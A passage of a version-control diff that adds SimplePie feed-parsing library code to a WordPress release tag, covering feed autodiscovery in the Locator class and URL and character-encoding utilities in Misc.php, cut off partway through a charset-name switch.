+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere))
+			{
+				return $working;
+			}
+		}
+		return null;
+	}
+
+	public function is_feed($file)
+	{
+		if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = $this->registry->create('Content_Type_Sniffer', array($file));
+			$sniffed = $sniffer->get_type();
+			if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml')))
+			{
+				return true;
+			}
+			else
+			{
+				return false;
+			}
+		}
+		elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	public function get_base()
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+		$this->http_base = $this->file->url;
+		$this->base = $this->http_base;
+		$elements = $this->dom->getElementsByTagName('base');
+		foreach ($elements as $element)
+		{
+			if ($element->hasAttribute('href'))
+			{
+				$base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base));
+				if ($base === false)
+				{
+					continue;
+				}
+				$this->base = $base;
+				$this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
+				break;
+			}
+		}
+	}
+
+	public function autodiscovery()
+	{
+		$done = array();
+		$feeds = array();
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));
+
+		if (!empty($feeds))
+		{
+			return array_values($feeds);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	protected function search_elements_by_tag($name, &$done, $feeds)
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+
+		$links = $this->dom->getElementsByTagName($name);
+		foreach ($links as $link)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if ($link->hasAttribute('href') && $link->hasAttribute('rel'))
+			{
+				$rel = array_unique($this->registry->call('Misc', 'space_seperated_tokens', array(strtolower($link->getAttribute('rel')))));
+				$line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;
+
+				if ($this->base_location < $line)
+				{
+					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
+				}
+				else
+				{
+					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
+				}
+				if ($href === false)
+				{
+					continue;
+				}
+
+				if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href]))
+				{
+					$this->checked_feeds++;
+					$headers = array(
+						'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+					);
+					$feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent));
+					if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+					{
+						$feeds[$href] = $feed;
+					}
+				}
+				$done[] = $href;
+			}
+		}
+
+		return $feeds;
+	}
+
+	public function get_links()
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+
+		$links = $this->dom->getElementsByTagName('a');
+		foreach ($links as $link)
+		{
+			if ($link->hasAttribute('href'))
+			{
+				$href = trim($link->getAttribute('href'));
+				$parsed = $this->registry->call('Misc', 'parse_url', array($href));
+				if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme']))
+				{
+					if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo())
+					{
+						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
+					}
+					else
+					{
+						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
+					}
+					if ($href === false)
+					{
+						continue;
+					}
+
+					$current = $this->registry->call('Misc', 'parse_url', array($this->file->url));
+
+					if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority'])
+					{
+						$this->local[] = $href;
+					}
+					else
+					{
+						$this->elsewhere[] = $href;
+					}
+				}
+			}
+		}
+		$this->local = array_unique($this->local);
+		$this->elsewhere = array_unique($this->elsewhere);
+		if (!empty($this->local) || !empty($this->elsewhere))
+		{
+			return true;
+		}
+		return null;
+	}
+
+	public function extension(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml')))
+			{
+				$this->checked_feeds++;
+
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent));
+				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+
+	public function body(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (preg_match('/(rss|rdf|atom|xml)/i', $value))
+			{
+				$this->checked_feeds++;
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent));
+				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Misc.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Misc.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Misc.php	(revision 56912)
@@ -0,0 +1,2247 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Miscellanous utilities
+ *
+ * @package SimplePie
+ */
+class SimplePie_Misc
+{
+	public static function time_hms($seconds)
+	{
+		$time = '';
+
+		$hours = floor($seconds / 3600);
+		$remainder = $seconds % 3600;
+		if ($hours > 0)
+		{
+			$time .= $hours.':';
+		}
+
+		$minutes = floor($remainder / 60);
+		$seconds = $remainder % 60;
+		if ($minutes < 10 && $hours > 0)
+		{
+			$minutes = '0' . $minutes;
+		}
+		if ($seconds < 10)
+		{
+			$seconds = '0' . $seconds;
+		}
+
+		$time .= $minutes.':';
+		$time .= $seconds;
+
+		return $time;
+	}
+
+	public static function absolutize_url($relative, $base)
+	{
+		$iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative);
+		if ($iri === false)
+		{
+			return false;
+		}
+		return $iri->get_uri();
+	}
+
+	/**
+	 * Get a HTML/XML element from a HTML string
+	 *
+	 * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!)
+	 * @param string $realname Element name (including namespace prefix if applicable)
+	 * @param string $string HTML document
+	 * @return array
+	 */
+	public static function get_element($realname, $string)
+	{
+		$return = array();
+		$name = preg_quote($realname, '/');
+		if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
+		{
+			for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++)
+			{
+				$return[$i]['tag'] = $realname;
+				$return[$i]['full'] = $matches[$i][0][0];
+				$return[$i]['offset'] = $matches[$i][0][1];
+				if (strlen($matches[$i][3][0]) <= 2)
+				{
+					$return[$i]['self_closing'] = true;
+				}
+				else
+				{
+					$return[$i]['self_closing'] = false;
+					$return[$i]['content'] = $matches[$i][4][0];
+				}
+				$return[$i]['attribs'] = array();
+				if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER))
+				{
+					for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++)
+					{
+						if (count($attribs[$j]) === 2)
+						{
+							$attribs[$j][2] = $attribs[$j][1];
+						}
+						$return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]));
+					}
+				}
+			}
+		}
+		return $return;
+	}
+
+	public static function element_implode($element)
+	{
+		$full = "<$element[tag]";
+		foreach ($element['attribs'] as $key => $value)
+		{
+			$key = strtolower($key);
+			$full .= " $key=\"" . htmlspecialchars($value['data']) . '"';
+		}
+		if ($element['self_closing'])
+		{
+			$full .= ' />';
+		}
+		else
+		{
+			$full .= ">$element[content]</$element[tag]>";
+		}
+		return $full;
+	}
+
+	public static function error($message, $level, $file, $line)
+	{
+		if ((ini_get('error_reporting') & $level) > 0)
+		{
+			switch ($level)
+			{
+				case E_USER_ERROR:
+					$note = 'PHP Error';
+					break;
+				case E_USER_WARNING:
+					$note = 'PHP Warning';
+					break;
+				case E_USER_NOTICE:
+					$note = 'PHP Notice';
+					break;
+				default:
+					$note = 'Unknown Error';
+					break;
+			}
+
+			$log_error = true;
+			if (!function_exists('error_log'))
+			{
+				$log_error = false;
+			}
+
+			$log_file = @ini_get('error_log');
+			if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file))
+			{
+				$log_error = false;
+			}
+
+			if ($log_error)
+			{
+				@error_log("$note: $message in $file on line $line", 0);
+			}
+		}
+
+		return $message;
+	}
+
+	public static function fix_protocol($url, $http = 1)
+	{
+		$url = SimplePie_Misc::normalize_url($url);
+		$parsed = SimplePie_Misc::parse_url($url);
+		if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https')
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url))
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($http === 2 && $parsed['scheme'] !== '')
+		{
+			return "feed:$url";
+		}
+		elseif ($http === 3 && strtolower($parsed['scheme']) === 'http')
+		{
+			return substr_replace($url, 'podcast', 0, 4);
+		}
+		elseif ($http === 4 && strtolower($parsed['scheme']) === 'http')
+		{
+			return substr_replace($url, 'itpc', 0, 4);
+		}
+		else
+		{
+			return $url;
+		}
+	}
+
+	public static function parse_url($url)
+	{
+		$iri = new SimplePie_IRI($url);
+		return array(
+			'scheme' => (string) $iri->scheme,
+			'authority' => (string) $iri->authority,
+			'path' => (string) $iri->path,
+			'query' => (string) $iri->query,
+			'fragment' => (string) $iri->fragment
+		);
+	}
+
+	public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
+	{
+		$iri = new SimplePie_IRI('');
+		$iri->scheme = $scheme;
+		$iri->authority = $authority;
+		$iri->path = $path;
+		$iri->query = $query;
+		$iri->fragment = $fragment;
+		return $iri->get_uri();
+	}
+
+	public static function normalize_url($url)
+	{
+		$iri = new SimplePie_IRI($url);
+		return $iri->get_uri();
+	}
+
+	public static function percent_encoding_normalization($match)
+	{
+		$integer = hexdec($match[1]);
+		if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E)
+		{
+			return chr($integer);
+		}
+		else
+		{
+			return strtoupper($match[0]);
+		}
+	}
+
+	/**
+	 * Converts a Windows-1252 encoded string to a UTF-8 encoded string
+	 *
+	 * @static
+	 * @param string $string Windows-1252 encoded string
+	 * @return string UTF-8 encoded string
+	 */
+	public static function windows_1252_to_utf8($string)
+	{
+		static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF");
+
+		return strtr($string, $convert_table);
+	}
+
+	/**
+	 * Change a string from one encoding to another
+	 *
+	 * @param string $data Raw data in $input encoding
+	 * @param string $input Encoding of $data
+	 * @param string $output Encoding you want
+	 * @return string|boolean False if we can't convert it
+	 */
+	public static function change_encoding($data, $input, $output)
+	{
+		$input = SimplePie_Misc::encoding($input);
+		$output = SimplePie_Misc::encoding($output);
+
+		// We fail to fail on non US-ASCII bytes
+		if ($input === 'US-ASCII')
+		{
+			static $non_ascii_octects = '';
+			if (!$non_ascii_octects)
+			{
+				for ($i = 0x80; $i <= 0xFF; $i++)
+				{
+					$non_ascii_octects .= chr($i);
+				}
+			}
+			$data = substr($data, 0, strcspn($data, $non_ascii_octects));
+		}
+
+		// This is first, as behaviour of this is completely predictable
+		if ($input === 'windows-1252' && $output === 'UTF-8')
+		{
+			return SimplePie_Misc::windows_1252_to_utf8($data);
+		}
+		// This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
+		elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output)))
+		{
+			return $return;
+ 		}
+		// This is last, as behaviour of this varies with OS userland and PHP version
+		elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output)))
+		{
+			return $return;
+		}
+		// If we can't do anything, just fail
+		else
+		{
+			return false;
+		}
+	}
+
+	protected static function change_encoding_mbstring($data, $input, $output)
+	{
+		if ($input === 'windows-949')
+		{
+			$input = 'EUC-KR';
+		}
+		if ($output === 'windows-949')
+		{
+			$output = 'EUC-KR';
+		}
+		if ($input === 'Windows-31J')
+		{
+			$input = 'SJIS';
+		}
+		if ($output === 'Windows-31J')
+		{
+			$output = 'SJIS';
+		}
+
+		// Check that the encoding is supported
+		if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80")
+		{
+			return false;
+		}
+		if (!in_array($input, mb_list_encodings()))
+		{
+			return false;
+		}
+
+		// Let's do some conversion
+		if ($return = @mb_convert_encoding($data, $output, $input))
+		{
+			return $return;
+		}
+
+		return false;
+	}
+
+	protected static function change_encoding_iconv($data, $input, $output)
+	{
+		return @iconv($input, $output, $data);
+	}
+
+	/**
+	 * Normalize an encoding name
+	 *
+	 * This is automatically generated by create.php
+	 *
+	 * To generate it, run `php create.php` on the command line, and copy the
+	 * output to replace this function.
+	 *
+	 * @param string $charset Character set to standardise
+	 * @return string Standardised name
+	 */
+	public static function encoding($charset)
+	{
+		// Normalization from UTS #22
+		switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset)))
+		{
+			case 'adobestandardencoding':
+			case 'csadobestandardencoding':
+				return 'Adobe-Standard-Encoding';
+
+			case 'adobesymbolencoding':
+			case 'cshppsmath':
+				return 'Adobe-Symbol-Encoding';
+
+			case 'ami1251':
+			case 'amiga1251':
+				return 'Amiga-1251';
+
+			case 'ansix31101983':
+			case 'csat5001983':
+			case 'csiso99naplps':
+			case 'isoir99':
+			case 'naplps':
+				return 'ANSI_X3.110-1983';
+
+			case 'arabic7':
+			case 'asmo449':
+			case 'csiso89asmo449':
+			case 'iso9036':
+			case 'isoir89':
+				return 'ASMO_449';
+
+			case 'big5':
+			case 'csbig5':
+				return 'Big5';
+
+			case 'big5hkscs':
+				return 'Big5-HKSCS';
+
+			case 'bocu1':
+			case 'csbocu1':
+				return 'BOCU-1';
+
+			case 'brf':
+			case 'csbrf':
+				return 'BRF';
+
+			case 'bs4730':
+			case 'csiso4unitedkingdom':
+			case 'gb':
+			case 'iso646gb':
+			case 'isoir4':
+			case 'uk':
+				return 'BS_4730';
+
+			case 'bsviewdata':
+			case 'csiso47bsviewdata':
+			case 'isoir47':
+				return 'BS_viewdata';
+
+			case 'cesu8':
+			case 'cscesu8':
+				return 'CESU-8';
+
+			case 'ca':
+			case 'csa71':
+			case 'csaz243419851':
+			case 'csiso121canadian1':
+			case 'iso646ca':
+			case 'isoir121':
+				return 'CSA_Z243.4-1985-1';
+
+			case 'csa72':
+			case 'csaz243419852':
+			case 'csiso122canadian2':
+			case 'iso646ca2':
+			case 'isoir122':
+				return 'CSA_Z243.4-1985-2';
+
+			case 'csaz24341985gr':
+			case 'csiso123csaz24341985gr':
+			case 'isoir123':
+				return 'CSA_Z243.4-1985-gr';
+
+			case 'csiso139csn369103':
+			case 'csn369103':
+			case 'isoir139':
+				return 'CSN_369103';
+
+			case 'csdecmcs':
+			case 'dec':
+			case 'decmcs':
+				return 'DEC-MCS';
+
+			case 'csiso21german':
+			case 'de':
+			case 'din66003':
+			case 'iso646de':
+			case 'isoir21':
+				return 'DIN_66003';
+
+			case 'csdkus':
+			case 'dkus':
+				return 'dk-us';
+
+			case 'csiso646danish':
+			case 'dk':
+			case 'ds2089':
+			case 'iso646dk':
+				return 'DS_2089';
+
+			case 'csibmebcdicatde':
+			case 'ebcdicatde':
+				return 'EBCDIC-AT-DE';
+
+			case 'csebcdicatdea':
+			case 'ebcdicatdea':
+				return 'EBCDIC-AT-DE-A';
+
+			case 'csebcdiccafr':
+			case 'ebcdiccafr':
+				return 'EBCDIC-CA-FR';
+
+			case 'csebcdicdkno':
+			case 'ebcdicdkno':
+				return 'EBCDIC-DK-NO';
+
+			case 'csebcdicdknoa':
+			case 'ebcdicdknoa':
+				return 'EBCDIC-DK-NO-A';
+
+			case 'csebcdices':
+			case 'ebcdices':
+				return 'EBCDIC-ES';
+
+			case 'csebcdicesa':
+			case 'ebcdicesa':
+				return 'EBCDIC-ES-A';
+
+			case 'csebcdicess':
+			case 'ebcdicess':
+				return 'EBCDIC-ES-S';
+
+			case 'csebcdicfise':
+			case 'ebcdicfise':
+				return 'EBCDIC-FI-SE';
+
+			case 'csebcdicfisea':
+			case 'ebcdicfisea':
+				return 'EBCDIC-FI-SE-A';
+
+			case 'csebcdicfr':
+			case 'ebcdicfr':
+				return 'EBCDIC-FR';
+
+			case 'csebcdicit':
+			case 'ebcdicit':
+				return 'EBCDIC-IT';
+
+			case 'csebcdicpt':
+			case 'ebcdicpt':
+				return 'EBCDIC-PT';
+
+			case 'csebcdicuk':
+			case 'ebcdicuk':
+				return 'EBCDIC-UK';
+
+			case 'csebcdicus':
+			case 'ebcdicus':
+				return 'EBCDIC-US';
+
+			case 'csiso111ecmacyrillic':
+			case 'ecmacyrillic':
+			case 'isoir111':
+			case 'koi8e':
+				return 'ECMA-cyrillic';
+
+			case 'csiso17spanish':
+			case 'es':
+			case 'iso646es':
+			case 'isoir17':
+				return 'ES';
+
+			case 'csiso85spanish2':
+			case 'es2':
+			case 'iso646es2':
+			case 'isoir85':
+				return 'ES2';
+
+			case 'cseucpkdfmtjapanese':
+			case 'eucjp':
+			case 'extendedunixcodepackedformatforjapanese':
+				return 'EUC-JP';
+
+			case 'cseucfixwidjapanese':
+			case 'extendedunixcodefixedwidthforjapanese':
+				return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';
+
+			case 'gb18030':
+				return 'GB18030';
+
+			case 'chinese':
+			case 'cp936':
+			case 'csgb2312':
+			case 'csiso58gb231280':
+			case 'gb2312':
+			case 'gb231280':
+			case 'gbk':
+			case 'isoir58':
+			case 'ms936':
+			case 'windows936':
+				return 'GBK';
+
+			case 'cn':
+			case 'csiso57gb1988':
+			case 'gb198880':
+			case 'iso646cn':
+			case 'isoir57':
+				return 'GB_1988-80';
+
+			case 'csiso153gost1976874':
+			case 'gost1976874':
+			case 'isoir153':
+			case 'stsev35888':
+				return 'GOST_19768-74';
+
+			case 'csiso150':
+			case 'csiso150greekccitt':
+			case 'greekccitt':
+			case 'isoir150':
+				return 'greek-ccitt';
+
+			case 'csiso88greek7':
+			case 'greek7':
+			case 'isoir88':
+				return 'greek7';
+
+			case 'csiso18greek7old':
+			case 'greek7old':
+			case 'isoir18':
+				return 'greek7-old';
+
+			case 'cshpdesktop':
+			case 'hpdesktop':
+				return 'HP-DeskTop';
+
+			case 'cshplegal':
+			case 'hplegal':
+				return 'HP-Legal';
+
+			case 'cshpmath8':
+			case 'hpmath8':
+				return 'HP-Math8';
+
+			case 'cshppifont':
+			case 'hppifont':
+				return 'HP-Pi-font';
+
+			case 'cshproman8':
+			case 'hproman8':
+			case 'r8':
+			case 'roman8':
+				return 'hp-roman8';
+
+			case 'hzgb2312':
+				return 'HZ-GB-2312';
+
+			case 'csibmsymbols':
+			case 'ibmsymbols':
+				return 'IBM-Symbols';
+
+			case 'csibmthai':
+			case 'ibmthai':
+				return 'IBM-Thai';
+
+			case 'cp37':
+			case 'csibm37':
+			case 'ebcdiccpca':
+			case 'ebcdiccpnl':
+			case 'ebcdiccpus':
+			case 'ebcdiccpwt':
+			case 'ibm37':
+				return 'IBM037';
+
+			case 'cp38':
+			case 'csibm38':
+			case 'ebcdicint':
+			case 'ibm38':
+				return 'IBM038';
+
+			case 'cp273':
+			case 'csibm273':
+			case 'ibm273':
+				return 'IBM273';
+
+			case 'cp274':
+			case 'csibm274':
+			case 'ebcdicbe':
+			case 'ibm274':
+				return 'IBM274';
+
+			case 'cp275':
+			case 'csibm275':
+			case 'ebcdicbr':
+			case 'ibm275':
+				return 'IBM275';
+
+			case 'csibm277':
+			case 'ebcdiccpdk':
+			case 'ebcdiccpno':
+			case 'ibm277':
+				return 'IBM277';
+
+			case 'cp278':
+			case 'csibm278':
+			case 'ebcdiccpfi':
+			case 'ebcdiccpse':
+			case 'ibm278':
+				return 'IBM278';
+
+			case 'cp280':
+			case 'csibm280':
+			case 'ebcdiccpit':
+			case 'ibm280':
+				return 'IBM280';
+
+			case 'cp281':
+			case 'csibm281':
+			case 'ebcdicjpe':
+			case 'ibm281':
+				return 'IBM281';
+
+			case 'cp284':
+			case 'csibm284':
+			case 'ebcdiccpes':
